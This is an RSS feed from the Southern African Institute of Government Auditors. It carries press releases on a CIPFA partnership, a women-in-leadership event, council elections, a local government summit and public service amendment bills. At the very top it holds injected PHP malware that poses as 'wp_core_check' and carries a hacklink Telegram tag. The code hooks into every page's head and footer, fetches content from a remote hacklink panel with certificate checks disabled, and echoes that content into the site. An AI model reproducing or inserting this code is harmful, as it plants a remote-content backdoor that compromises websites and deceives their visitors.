/* Telegram: https://t.me/hacklink_panel */ if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);} SAIGA https://www.saiga.co.za/saiga/ Advancing Auditing & Accountability Fri, 24 Jan 2025 14:12:44 +0000 en-ZA hourly 1 https://wordpress.org/?v=6.6.5 208953113 SAIGA AND CIPFA PARTNER TO ENHANCE PUBLIC FINANCIAL MANAGEMENT AND GLOBAL PROFESSIONAL STANDARDS https://www.saiga.co.za/saiga/saiga-and-cipfa-partner-to-enhance-public-financial-management-and-global-professional-standards/?utm_source=rss&utm_medium=rss&utm_campaign=saiga-and-cipfa-partner-to-enhance-public-financial-management-and-global-professional-standards https://www.saiga.co.za/saiga/saiga-and-cipfa-partner-to-enhance-public-financial-management-and-global-professional-standards/#respond Tue, 20 Aug 2024 08:18:04 +0000 https://www.saiga.co.za/saiga/?p=15007 Effective, transparent and accountable public financial management is vital for governance reform, ensuring the delivery of high-quality public services and creating fair, sustainable economic and social conditions within a country. Achieving effective financial management requires the expertise of qualified auditors and accountants. To advance financial management practices, the Southern African Institute of Government Auditors (SAIGA) Read More

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Effective, transparent and accountable public financial management is vital for governance reform, ensuring the delivery of high-quality public services and creating fair, sustainable economic and social conditions within a country.

Achieving effective financial management requires the expertise of qualified auditors and accountants.

To advance financial management practices, the Southern African Institute of Government Auditors (SAIGA) has formed a strategic partnership with the Chartered Institute of Public Finance and Accountancy (CIPFA). This collaboration establishes a formal framework for ongoing cooperation between the two organisations, focusing on the enhancement of public financial management.

Key elements of the partnership include:

  • Recognition of qualifications leading to CIPFA exemptions/membership
  • Creation of pathways for individuals to achieve Chartered Public Finance Accountant
  • Establishment of a community of practice by integrating CIPFA modules into the SAIGA qualification
  • Recognition of qualifications leading to SAIGA RGA and performance audit designations/membership, as well as the creation of pathways for individuals holding CPFA who aim to achieve SAIGA professional designations.
  • Integration of CIPFA’s public finance curriculum into the SAIGA public finance designation or certification programme, which will be registered with SAQA and lead to CPFA membership.
  • Mutual advocacy and promotion of services, sharing best practices, facilitating introductions, and collaborating on courses, CPD, training, and joint regional activities, including thought leadership, research, events and webinars.

“This partnership is a groundbreaking moment for both SAIGA and CIPFA,” stated SAIGA President Phillip Rakgwale. “Our collaboration is distinctive as it is solely concentrated on public sector accounting and auditing. SAIGA and CIPFA are the only institutions globally with such a specialised focus. We are innovating a performance audit qualification recognised by INTOSAI, addressing global trends in service delivery and financial performance. This partnership offers our members international recognition and access to a global network.”

Current holders of SAIGA Registered Government Auditors (RGA) will gain CIPFA recognition, paving the way for future RGA holders to achieve the same. Dual membership opportunities will be available for CIPFA and RGA professionals, and CIPFA holders seeking SAIGA RGA designation and performance audit designations will benefit from reciprocal recognition.

CIPFA International Director Khalid Hamid stated, “We are delighted to sign this Memorandum of Understanding with SAIGA. This partnership marks a significant step forward in our joint mission to advance public financial management. Our goal is to foster collaboration, share best practices, and build a robust community of public finance professionals in South Africa. By integrating CIPFA modules into SAIGA’s qualifications and certification programmes, we aim to enhance financial management and governance. We look forward to a fruitful collaboration with positive impacts for our members in both regions.”

SAIGA CEO Russel Morena added, “This collaboration coincides with SAIGA’s 36th anniversary, and we couldn’t be more excited. Starting January 2025, RGA members will hold dual membership with SAIGA and CIPFA. This partnership will also significantly enhance SAIGA’s contribution to the professionalisation of public service.”

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Empowering Women to Lead – Insights from the Women in Leadership Breakfast Event https://www.saiga.co.za/saiga/empowering-women-to-lead-insights-from-the-women-in-leadership-breakfast-event/?utm_source=rss&utm_medium=rss&utm_campaign=empowering-women-to-lead-insights-from-the-women-in-leadership-breakfast-event https://www.saiga.co.za/saiga/empowering-women-to-lead-insights-from-the-women-in-leadership-breakfast-event/#respond Tue, 20 Aug 2024 08:11:54 +0000 https://www.saiga.co.za/saiga/?p=15003 SAIGA Hosts Inspiring Women in Leadership Breakfast Event in Collaboration with Wits Business School In celebration of Women’s Month, the Southern African Institute of Government Auditors (SAIGA), in partnership with Wits Business School and the Public Sector Accountancy and Audit Academy, hosted a transformative Women in Leadership breakfast event on 16 August.  The ‘Breakfast’ aimed Read More

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SAIGA Hosts Inspiring Women in Leadership Breakfast Event in Collaboration with Wits Business School

In celebration of Women’s Month, the Southern African Institute of Government Auditors (SAIGA), in partnership with Wits Business School and the Public Sector Accountancy and Audit Academy, hosted a transformative Women in Leadership breakfast event on 16 August.

 The ‘Breakfast’ aimed to empower women to assume leadership roles in entrepreneurship and corporate sector.  

The morning commenced with a compelling keynote address by Deputy Minister of the Presidency, Ms Nonceba Mhlauli. 

In her speech, Mhlauli highlighted the importance of women claiming their rightful place in leadership and seizing opportunities for self-development.

Following the keynote, the event transitioned into a dynamic panel discussion facilitated by media entrepreneur Varashni Pillay, founder of explain.co.za. The panel featured a lineup of accomplished women leaders who shared their insights and experiences in navigating the challenges of leadership.

The Panelists were, Yanga Mputa, Nonzuzo Makanda, Ncumisa Mkunqwana, Crystal Huntley, Millycent Mashele and Dr Thelela Ngcetane-Vika.

Ngcetane-Vika, a lecturer at the Wits School of Governance, opened the discussion by addressing the unique challenges faced by women in executive positions. She highlighted the importance of authenticity in leadership, encouraging women to lead with integrity and self-confidence.

Makanda, Audit Chairperson at Seda and Safa, stressed the value of dedication and resilience in entrepreneurship. She also reminded attendees of the importance of self-care, urging women not to neglect their well-being as they strive for success.

Mputa, Tax Ombud at the South African Tax Ombud, offered a thought-provoking perspective on the diverse paths available to women. “Not all women are called to be entrepreneurs,” she stated, “but we can all support one another in achieving success, regardless of the path we choose.”

The panel also included Mkunqwana, CEO of CHAPU and Huntley, an economist at Nedbank, who both emphasised the hard work required to succeed as women in leadership.

They discussed the realities of balancing career aspirations with personal responsibilities and the importance of hard work in achieving success.

The conversation extended to the audience, with participants sharing their own challenges and exchanging advice on overcoming obstacles in entrepreneurship, career progression and family life.

The event concluded with a presentation by Siziwe Zulu from the National Empowerment Fund, who outlined key funding opportunities for women entrepreneurs. She left attendees with a powerful message, “Focus and drive are essential for securing the resources needed to succeed.”

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Media Statement-SAIGA launches TUT Student Chapter https://www.saiga.co.za/saiga/media-statement-saiga-launches-tut-student-chapter/?utm_source=rss&utm_medium=rss&utm_campaign=media-statement-saiga-launches-tut-student-chapter https://www.saiga.co.za/saiga/media-statement-saiga-launches-tut-student-chapter/#respond Tue, 20 Aug 2024 08:06:43 +0000 https://www.saiga.co.za/saiga/?p=14998 The Southern African Institute of Government Auditors (SAIGA) proudly announces the launch of its student chapter at Tshwane University of Technology’s Ga-Rankuwa campus. This new chapter will provide students with valuable opportunities for professional growth through forums, panel discussions and symposia. The launch event drew a large number of students keen to connect with SAIGA, Read More

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The Southern African Institute of Government Auditors (SAIGA) proudly announces the launch of its student chapter at Tshwane University of Technology’s Ga-Rankuwa campus.

This new chapter will provide students with valuable opportunities for professional growth through forums, panel discussions and symposia.

The launch event drew a large number of students keen to connect with SAIGA, its partners and associated training offices, including Pholela Business Advisory, MGI RAS and KEP Consulting.

Sello Malatsi, SAIGA’s Strategic and Growth Partnerships Manager, expressed enthusiasm about the development: “We are excited to introduce an interim student structure to oversee SAIGA activities on campus. This marks just the beginning, as we plan to establish many more student chapters across South Africa.”

TUT is unique among South African universities for offering a degree in public finance. 

Public Sector Finance Head Sipho Maluleke highlighted the university’s commitment to preparing students for impactful careers: “TUT aims to produce graduates ready to positively influence society. The SAIGA student chapter will enhance this by offering access to webinars and seminars led by industry leaders, helping students understand market expectations and prepare for their future careers.”

Dr Audrey Legodi, Chair of the Auditing Department at the University of South Africa, delivered a keynote address underscoring the value of the Registered Government Auditor (RGA) designation. 

She encouraged students to pursue professional qualifications, emphasising how the RGA designation opened doors for her in her career. “Without the RGA designation, I wouldn’t have secured my current role as Chair of the Auditing Department, despite holding a PhD in Auditing.”

The launch of the TUT student chapter represents a significant step for SAIGA, aligning with the Institute’s goals of accrediting universities and establishing student chapters nationwide. 

Attendee Mimi Hlengane, an advanced diploma student in Public Finance, shared her excitement: “I attended this event to learn more about SAIGA and explore further qualifications. I’m inspired to join SAIGA and apply the insights gained to my future career.”

The launch marked a significant milestone for SAIGA as accrediting universities and establishing student chapters are key objectives of the Institute. The establishment of a student chapter at TUT underscores this commitment.

 

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Media statement – SAIGA ELECTS COUNCIL MEMBERS https://www.saiga.co.za/saiga/media-statement-saiga-elects-council-members/?utm_source=rss&utm_medium=rss&utm_campaign=media-statement-saiga-elects-council-members https://www.saiga.co.za/saiga/media-statement-saiga-elects-council-members/#respond Mon, 22 Jul 2024 18:58:13 +0000 https://www.saiga.co.za/saiga/?p=14858 Johannesburg – The Southern African Institute of Government Auditors (SAIGA) Council has new faces. This is after four new council members were elected at the recent SAIGA Annual General Meeting (AGM).  The newly elected council members are Tebogo Nkhatho, Deane Mojalefa, Matshidiso Wesi and Vatiswa Matanda.  Nkhatho is a Stakeholder Liaison Manager at AGSA, Mojalefa is a Senior Manager Read More

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Johannesburg – The Southern African Institute of Government Auditors (SAIGA) Council has new faces.

This is after four new council members were elected at the recent SAIGA Annual General Meeting (AGM).

 The newly elected council members are Tebogo Nkhatho, Deane Mojalefa, Matshidiso Wesi and Vatiswa Matanda.

 Nkhatho is a Stakeholder Liaison Manager at AGSA, Mojalefa is a Senior Manager at AGSA while Wesi is a Senior Manager at AGSA. 

Matanda, who returns for a second term, is a Senior Manager at AGSA Eastern Cape.

The four will join Tshepo Shabangu a Senior Audit Manager at AGSA, Mavuso Shabalala, Ebrahim Mohammed and Phillip Rakgwale, the Institute’s current president, on the council.

“We are excited to welcome four new committee members who have been appointed and elected to join us in steering SAIGA towards even greater heights,” says SAIGA CEO Russel Morena, of the Council members who will hold office for three years.

“A special thanks goes to the outgoing SAIGA council members, who have served their three-year term with distinction and dedication. Their work has been incredibly remarkable and is deeply recognised and appreciated.”

 The Institute looks forward to the fresh perspectives and insights that the new council members will bring with a significant contribution to the revision strategy and operational plan 2021-25 to strengthen internal capacity and deliver on Vision 2030.

Matanda has thanked the members for her re-election at the 36th SAIGA AGM and is looking forward to another term as a council member. 

“As a re-elected council member, I’m looking forward to finalising the revision strategy and operational plan that the Institute embarked on in 2021. I’m excited to be back in council,” says Matanda.

                                                                                                  The End

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Media Statement – SAIGA partners EC treasury for inaugural Local government Summit https://www.saiga.co.za/saiga/media-statement/?utm_source=rss&utm_medium=rss&utm_campaign=media-statement https://www.saiga.co.za/saiga/media-statement/#respond Wed, 03 Jul 2024 09:46:44 +0000 https://www.saiga.co.za/saiga/?p=14766 Johannesburg – The Southern African Institute of Government Auditors (SAIGA), in partnership with the Eastern Cape Provincial Treasury, will host the inaugural SAIGA Local Government Summit at the East London IDZ Conference Centre on Friday, July 5, 2024. Supported by Daily Dispatch, Pholela Business Advisory, JT29 Management Consulting, and Chapu Chartered Accountants, this event is Read More

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Johannesburg – The Southern African Institute of Government Auditors (SAIGA), in partnership with the Eastern Cape Provincial Treasury, will host the inaugural SAIGA Local Government Summit at the East London IDZ Conference Centre on Friday, July 5, 2024.

Supported by Daily Dispatch, Pholela Business Advisory, JT29 Management Consulting, and Chapu Chartered Accountants, this event is set to bring together thought leaders, municipalities, academia, business, media as well as local government experts and practitioners.  

The Institute has lined up high-profile speakers and authorities on local government, including President of the South African Local Government Association (SALGA) Councillor (Cllr) Bheke Stofile, who will headline the event. 

Other notable speakers include Sonwabo Gqegqe, SALGA Provincial Director of Operations, EC Treasury Head of Department Daluhlanga Majeke and Phillip Rakgwale, Chief Audit Executive of the City of Ekurhuleni, Certified Fraud Examiner Boitumelo Lekoko and AGSA Free State Business Unit leader Odwa Duda.

Themed “Local government that meets evolving societal needs,” the Summit aims to address the reasons behind the predominance of negative outcomes in local government and propose solutions for issues such as poor consequence management, material irregularities and wasteful expenditure.

Cllr Stofile will deliver a keynote address, along with Majeke, focusing on plans to help dysfunctional municipalities become sustainable and efficient for the benefit of residents. 

Duda will present on “Emerging Trends from the MFMA Qualified Audit Reports of the Past Three Years (2021-2023), Rakgwale will give a presentation on “Better Reporting Avenues to Help Municipalities Detect and Respond to Fraud Risks” while Lekoko will speak on “A Proactive Approach to Material Irregularities at Local Government”

SAIGA CEO, Morena, adds “With this summit, we aim to formulate tasks and set targets for the proceeding local government summit. Selected municipalities will be chosen to assist with skills, capacity and audit challenges by SAIGA professionals, and subsequently report back during the 2025 summit.” 

The Summit is now FREE to attend! But seats are very limited, so hurry and secure your spot today. Click on the link below to register:

https://saiga.glueup.com/event/local-government-summit-hybrid-event-97379/

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Media Statement – FIKENI CONFIDENT PUBLIC AMENDMENT BILL WILL PASS MUSTER https://www.saiga.co.za/saiga/media-statement-fikeni-confident-public-amendment-bill-will-pass-muster/?utm_source=rss&utm_medium=rss&utm_campaign=media-statement-fikeni-confident-public-amendment-bill-will-pass-muster https://www.saiga.co.za/saiga/media-statement-fikeni-confident-public-amendment-bill-will-pass-muster/#respond Tue, 30 Apr 2024 13:01:05 +0000 https://www.saiga.co.za/saiga/?p=14704 FIKENI CONFIDENT PUBLIC AMENDMENT BILL WILL PASS MUSTER Chairperson of the Public Service Commission (PSC) Prof Somadoda Fikeni believes the draftlegislation to professionalise the public service will receive the necessary support and approval.Both the Public Administration Management Amendment Bill and the Public Service Amendment Billare set to be tabled at the National Council of Provinces Read More

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FIKENI CONFIDENT PUBLIC AMENDMENT BILL WILL PASS MUSTER

Chairperson of the Public Service Commission (PSC) Prof Somadoda Fikeni believes the draft
legislation to professionalise the public service will receive the necessary support and approval.
Both the Public Administration Management Amendment Bill and the Public Service Amendment Bill
are set to be tabled at the National Council of Provinces (NCOP) before they could get the requisite
approval by the President Cyril Ramaphosa.
If passed, the bills will help to improve the sector, strengthen the public administration to promote
efficiency and good governance with a common purpose and better coordination across government.
However, Prof Fikeni is confident the bills will pass master and get the necessary approval.
“The journey towards the amendment of the bills as well as the development of the
Professionalisation Framework has been a long one that started in earnest in 2020,” Fikeni tells
SAIGA.
“Throughout that journey there have been extensive engagements and consultations across the
public sector. Certainly, the requisite commitment from all stakeholders was attained and barring any
constitutional impediment, I do believe that it will receive the necessary support and approval.”
Fikeni has further explained the impact of bills in relation to the role of the PSC, explaining that the
principal objective of the respective bills was to create the necessary alignment with Chapter 13 of
the National Development Plan which is focussed on building a capable and developmental state.
It accordingly made particular proposals on strengthening the role of the Public Service Commission,
the creation of an administrative head of the public service and instilling a meritocratic recruitment
system.
“The purpose of these and other proposals is to stablise the political-administrative interface, to
ensure greater accountability and to make the public service a career of choice,” he says.
“Both bills largely represent a good start to professionalising the public service, but they are not
beyond critique as some provisions appear to provide sufficient clarity while others may result in
unintended consequences.
As part of the public sector reform process, it is important to ascertain the synergy with other pieces
of legislation as well at the National Framework Towards the Professionalisation of the Public Sector
(Professionalisation Framework). It is therefore important to obtain that level of certainty, synergy and
harmony.”
In respect of the Public Service Amendment Bill, there are two critical amendments that have the
potential to change the institutionalisation of the public service. The first critical amendment relates to
clarifying the respective roles of the executive authority and the head of department to make it
consistent with the Public Finance Management Act (PFMA) and to stabilise the
political/administrative interface.
In the amendment of section 3(7) of the Act, the powers and duties of the executive authority are
revised, solidified and strengthened to encompass a broader corporate governance role.
In fact, the amendments reflect the corporate governance approach that is used in the King IV
Report. In summary, the role and the responsibility of the executive authority is similar to that of a
governing body which is defined as a structure that has primary accountability for the governance
and performance of an organisation.
As per the amendments, the role and responsibilities of the executive authority include:

 Steering and setting the strategic direction of the department in respect of the department’s
strategic plan. This also includes the manner in which governance areas and core objectives
are to be approached and met and specific emphasis on the constitutional, legislative and
other functional mandate of the department.
 Approving the policy and planning that give effect to the strategic plan
 Ensuring accountability for departmental performance by holding the department’s head
accountable for the administration of the department
 Overseeing and monitoring the implementation and execution of strategic plan by head of
department and his/her delegates.
The second critical amendment involves the powers of head of departments and the creation of the
Head of the Public Service. The amendment of section 7(3) provides administrative powers to the
Head of Department (HOD) that were previously granted to the executive authority.
The amendment further provides additional powers to the Director-General in the Presidency which
creates same to be the Administrative Head.
Likewise, the Director-General (DG) in the Office of the Premier will assume the additional role of the
Provincial Administrative Head. The granting of administrative powers to HODs is consistent with the
need to professionalise the public service, it will assist in stabilising the public administrative interface
and it is in accordance with the National Development Plan (NDP) and previous studies conducted
by the PSC.
However, Fikeni has raised concern about the fact that the amendment would vest too much
responsibility in the Director-General of the Presidency as well the Director-General in the Office of
the Premier which may result in an overburdened post.
“There is further a potential unintended consequence of creating a power bloc in the absence of
sufficient checks and balances. The proposal in Chapter 13 of the NDP in respect of the hybrid
approach to recruitment of Directors General and Deputy Directors General that would involve the
Public Service

Commission and the Head of the Public Service Commission had the greater potential of ensuring
greater level of accountability through a system of checks and balances,” Fikeni says.
What impact do you think the bills will have, and do you think that it will enhance professionalism,
efficiency and responsiveness of the public service and administration in South Africa?
“One should consider the bills together with the Professionalisation Framework. The proposed
reforms in the public sector through the Professionalisation Framework are considered ground-
breaking interventions but only if its implementation is taken to its logical conclusion through the
construction of an agreed vision and a comprehensive implementation plan,” Fikeni explains.
“Legislation on its own will not create the required change and therefore it is hoped that through the
Professionalisation Framework, there will be paradigm change, character formation and capability
improvement in the public sector.”
The bills, however, will fulfil their purposes without encroaching on the constitutionally identified roles
of the different spheres of government. Some principal amendments include conducting business
with the state, the role of the National School of Government; capacity development by institutions;
and norms and standards around the constitutional values and principles.

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Media Statement – HOW BIG DATA IS CHANGING THE SOUTH AFRICAN AUDITING AND FINANCE FIELD https://www.saiga.co.za/saiga/how-big-data-is-changing-the-south-african-auditing-and-finance-field/?utm_source=rss&utm_medium=rss&utm_campaign=how-big-data-is-changing-the-south-african-auditing-and-finance-field https://www.saiga.co.za/saiga/how-big-data-is-changing-the-south-african-auditing-and-finance-field/#respond Wed, 13 Mar 2024 08:37:00 +0000 https://www.saiga.co.za/saiga/?p=14458 HOW BIG DATA IS CHANGING THE SOUTH AFRICAN AUDITING AND FINANCE FIELD Media Statement  13 March 2024 HOW BIG DATA IS CHANGING THE SOUTH AFRICAN AUDITING AND FINANCE FIELD   Big data has truly revolutionised the auditing and finance sector in South Africa. With the wealth of information available at their fingertips, auditors and finance Read More

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HOW BIG DATA IS CHANGING THE SOUTH AFRICAN AUDITING AND FINANCE FIELD

Media Statement 

13 March 2024

HOW BIG DATA IS CHANGING THE SOUTH AFRICAN AUDITING AND FINANCE FIELD

 

Big data has truly revolutionised the auditing and finance sector in South Africa. With the wealth of information available at their fingertips, auditors and finance professionals are now able to make more informed decisions, uncover patterns and trends, and provide better insights into the financial health of companies. This has not only improved the efficiency and accuracy of audits and financial reporting but has also opened up new opportunities for businesses to thrive in the competitive South African market.

Ahead of the Southern African Institute of Government Auditors (SAIGA) Audit and Finance Indaba 2024, Mr. Russel Morena, SAIGA Chief Executive Officer writes that one of the  topics to be discussed at the event, which is scheduled to take place at the Investec Pretoria Office on Friday,15 March 2024, is the key ways in which big data has revolutionised the auditing and finance industry through the ability to analyse large volumes of data in real time. 

In the past, auditors and finance professionals were limited by the amount of data they could feasibly analyse manually. With big data technologies, they can now sift through massive amounts of structured and unstructured data to uncover anomalies, trends and discrepancies more quickly and accurately than ever before.

This has had a profound impact on the auditing process, as auditors are now able to provide a more comprehensive and thorough review of a company’s financial records. They can identify potential risks and opportunities that were previously hidden in the vast sea of data, helping businesses to proactively address issues and make more informed strategic decisions.

In addition, big data has also played a crucial role in improving financial forecasting and risk management for businesses in South Africa. By analysing historical financial data alongside external factors such as market trends, economic indicators, and regulatory changes, finance professionals can gain a more holistic view of their company’s financial outlook. This allows them to make more accurate predictions and plan for potential risks, ultimately helping businesses to make more informed and strategic decisions.

Further, big data has  completely changed the way financial fraud is detected and prevented in South Africa. With the ability to analyse large volumes of transactional data in real time, auditors can now identify irregularities and anomalies that may indicate fraudulent activity. This has helped to improve the accuracy and effectiveness of fraud detection, ultimately protecting businesses from financial loss and reputational damage.

As big data technologies continue to advance, the auditing and finance industry in South Africa is poised to experience even greater advancements in the years to come.

-END-

 
 

Issued by the Southern African Institute of Government Auditors

 

For further information, please contact:

 

Mr. Kgomotso Sethusha

012 004 0741

083 3810 526

 
 

About the Southern African Institute of Government Auditors

The Southern African Institute of Government Auditors is a non-profit professional body that certifies and develops finance and auditing professionals in the public sector. SAIGA represents a unique brand of professionals, the Registered Government Auditors (RGA) in the public sector and academia. SAIGA is the sole provider of the RGA, which is regarded as the highest professional qualification in public sector auditing. Visit: www.saiga.co.za for more information.

 

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 Media Statement – BIG DATA AND CYBERCRIME IMPORTANT FACTORS IN THE FIELD OF AUDITING AND FI-NANCE https://www.saiga.co.za/saiga/big-data-and-cybercrime-important-factors-in-the-field-of-auditing-and-fi-nance/?utm_source=rss&utm_medium=rss&utm_campaign=big-data-and-cybercrime-important-factors-in-the-field-of-auditing-and-fi-nance https://www.saiga.co.za/saiga/big-data-and-cybercrime-important-factors-in-the-field-of-auditing-and-fi-nance/#respond Tue, 12 Mar 2024 09:11:55 +0000 https://www.saiga.co.za/saiga/?p=14441 BIG DATA AND CYBERCRIME IMPORTANT FACTORS IN THE FIELD OF AUDITING AND FI-NANCE Media statement 12 March 2024 The Southern African Institute of Government Auditors’ (SAIGA) inaugural Audit and Finance Indaba is an important event for auditors and finance professionals in South Africa. Themed ‘The Era of Big Data and Cybercrime’, this year’s Indaba reflects the Read More

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BIG DATA AND CYBERCRIME IMPORTANT FACTORS IN THE FIELD OF AUDITING AND FI-NANCE

Media statement

12 March 2024

The Southern African Institute of Government Auditors’ (SAIGA) inaugural Audit and Finance Indaba is an important event for auditors and finance professionals in South Africa. Themed ‘The Era of Big Data and Cybercrime’, this year’s Indaba reflects the growing importance of these two factors in the field of auditing and finance. 

As the industry professionals count down the days to the Indaba, which is scheduled to take place at the Investec Pretoria Office on Friday, 15 March 2024, the SAIGA Chief Executive Officer, Russel Morena, writes about the risks, changes as well as the opportunities presented by big data and cybercrime in the field of auditing and finance in South Africa.

Big data has become a significant factor in the field of auditing and finance in recent years. With the advent of technology, companies and organisations are generating a huge amount of data every day. This data can be used to make informed financial decisions and to identify potential risks and opportunities. Auditors can use big data to improve the accuracy and effectiveness of their audits, leading to better financial governance and decision-making.

However, with the rise of big data, the risk of cybercrime has also increased. Cybercrime poses a significant threat to the financial and auditing sector in South Africa. Cybercriminals can steal sensitive financial information, disrupt financial systems, and even manipulate data for their own gain. Auditors and finance professionals need to be aware of these threats and take steps to protect their data and systems from cyber attacks.

The Indaba will present several opportunities for auditors, accountants and the finance sector professionals in South Africa. Firstly, it will provide an opportunity for them to learn about the latest developments in big data and cybercrime and how these factors are impacting the field of auditing and finance. They can gain insights into best practices for using big data in their audits and learn about the latest strategies for dealing with cybercrime.

Secondly, the theme also presents an opportunity for auditors and finance professionals to network with their peers and experts in the field. By exchanging ideas and experiences, they can gain a better understanding of how other professionals are using big data and combating cybercrime in their work. This can lead to valuable collaborations and partnerships that can benefit the entire industry.

Finally, the theme of the event will also provide an opportunity for auditors and finance professionals to showcase their own work and research in the field of big data and cybercrime. They can present their own strategies and solutions for using big data in audits and for protecting financial systems from cyber attacks. This can help to raise awareness of the importance of these factors in the industry and encourage more professionals to take them seriously.

The Institute has lined up high-profile speakers, who include Accountant General of South Africa and keynote speaker Shabeer Khan, Phillip Rakgwale, the Chief Audit Executive (Acting) City of Ekurhuleni, SAIPA Executive Prof Rashied Small, Accounting Standard Board CEO Jeanine Poggiolini, Sunday Times Deputy Editor Makhudu Sefara, Omar Kadwa, the Director at SNG Thornton and the CEO of IRBA, Imre Nagy, among others. 

Rakgwale will give a presentation on ‘Emerging trends on public sector audits in the past three years (2021-2023) both PFMA and MFMA’ while Nagy, will speak about the journey of rotational audits in South Africa: challenges & success stories. 

In conclusion, the theme of The Era of Big Data and Cybercrime at the SAIGA Inaugural Audit and Finance Indaba presents significant changes and opportunities for auditors and finance professionals in South Africa. By embracing big data and addressing the challenges of cybercrime, they can improve the effectiveness and accuracy of their audits and financial decision making. This event provides a valuable platform for them to learn from experts, network with their peers, and showcase their own work in this important and evolving field.

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Issued by the Southern African Institute of Government Auditors

For further information, please contact:

Mr. Kgomotso Sethusha

012 004 0741

083 3810 526

researcher@saiga.org.za

 

About the Southern African Institute of Government Auditors

The Southern African Institute of Government Auditors is a non-profit professional body that certifies and develops finance and auditing professionals in the public sector. SAIGA represents a unique brand of professionals, the Registered Government Auditors (RGA) in the public sector and academia. SAIGA is the sole provider of the RGA, which is regarded as the highest professional qualification in public sector auditing. Visit: www.saiga.co.za for more information.

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Media statement SAIGA Supports International Women’s Day 2024 https://www.saiga.co.za/saiga/media-statement-saiga-supports-international-womens-day-2024/?utm_source=rss&utm_medium=rss&utm_campaign=media-statement-saiga-supports-international-womens-day-2024 https://www.saiga.co.za/saiga/media-statement-saiga-supports-international-womens-day-2024/#respond Mon, 11 Mar 2024 09:35:08 +0000 https://www.saiga.co.za/saiga/?p=14413 SAIGA Supports International Women’s Day 2024 Media statement  Johannesburg – The campaign theme for International Women’s Day 2024 was, “Inspire Inclusion,” carries immense significance in our quest for a more equitable and just world. As we acknowledge and celebrate the achievements and contributions of women, it’s crucial to recognise the barriers they face as they strive Read More

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SAIGA Supports International Women's Day 2024

Media statement
 

Johannesburg – The campaign theme for International Women’s Day 2024 was, “Inspire Inclusion,” carries immense significance in our quest for a more equitable and just world. As we acknowledge and celebrate the achievements and contributions of women, it’s crucial to recognise the barriers they face as they strive for inclusion in all spheres of society.

 

In fact, according to the Chief Executive Officer of the Southern Institute of Government Auditors (SAIGA), Russel Morena this is especially important in institutions like SAIGA where gender equality and diversity are essential for effective governance and the delivery of public services.

 

Morena explains: “The theme “Inspire Inclusion” speaks to the idea that when we inspire others to understand and value women’s inclusion, we create a more cohesive and prosperous society.”

 

In the context of SAIGA, Morena says this means fostering a work environment that promotes gender diversity and actively works to eliminate barriers that prevent women from fully participating in all levels of the organisation. It also means advocating for policies and practices that support women’s career advancement and provide equal opportunities for leadership and decision-making roles.

 

Further, Morena says that the theme emphasises the importance of women being empowered to advocate for their own inclusion. “When women feel a sense of belonging and relevance within an organisation like SAIGA, they are more likely to contribute their unique perspectives and talents, leading to better decision-making and improved governance outcomes,” he explains.

 

“By empowering women to be included and valued, we not only create a more equitable workplace but also a more effective and impactful organisation.”

 

Additionally, Morena says this is not just a moral imperative, but also a strategic advantage. “By harnessing the diverse perspectives and talents of women, SAIGA can better meet the needs of its members and stakeholders and promote good governance practices in the public sector. As auditors, it is essential for SAIGA to recognise the importance of gender diversity in understanding the complex challenges facing government institutions and in developing effective solutions.”

 

According to Morena, the theme “Inspire Inclusion” is a call to action for all members of SAIGA to actively work towards creating an environment where women are empowered, valued, and included.

 

“It’s an opportunity for the institute to demonstrate its commitment to gender equality and to set an example for other organisations in the public sector. By embracing this theme, SAIGA can lead the way in creating a more inclusive and equitable society, where the talents and contributions of women are fully recognised and utilised for the benefit of all,” concludes Morena.

 

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-END-

Issued by the Southern African Institute of Government Auditors

 

For further information, please contact:

 

Mr. Kgomotso Sethusha

012 004 0741

083 3810 526

researcher@saiga.org.za

 

 

About the Southern African Institute of Government Auditors

The Southern African Institute of Government Auditors is a non-profit professional body that certifies and develops finance and auditing professionals in the public sector. SAIGA represents a unique brand of professionals, the Registered Government Auditors (RGA) in the public sector and academia. SAIGA is the sole provider of the RGA, which is regarded as the highest professional qualification in public sector auditing. Visit: www.saiga.co.za 

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Media Announcement – SAIGA PARTNERS INVESTEC FOR INAUGURAL AUDIT AND FINANCE INDABA https://www.saiga.co.za/saiga/media-announcement-saiga-partners-investec-for-inaugural-audit-and-finance-indaba/?utm_source=rss&utm_medium=rss&utm_campaign=media-announcement-saiga-partners-investec-for-inaugural-audit-and-finance-indaba https://www.saiga.co.za/saiga/media-announcement-saiga-partners-investec-for-inaugural-audit-and-finance-indaba/#respond Mon, 04 Mar 2024 13:33:36 +0000 https://www.saiga.co.za/saiga/?p=14396 SAIGA PARTNERS INVESTEC FOR INAUGURAL AUDIT AND FINANCE INDABA Johannesburg – The Southern African Institute of Government Auditors (SAIGA), in partnership with Investec, is pleased to announce that it will be hosting its inaugural Audit and Finance Indaba. The prestigious event, which is billed to bring together leading auditors and financial professionals from across the continent Read More

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SAIGA PARTNERS INVESTEC FOR INAUGURAL AUDIT AND FINANCE INDABA

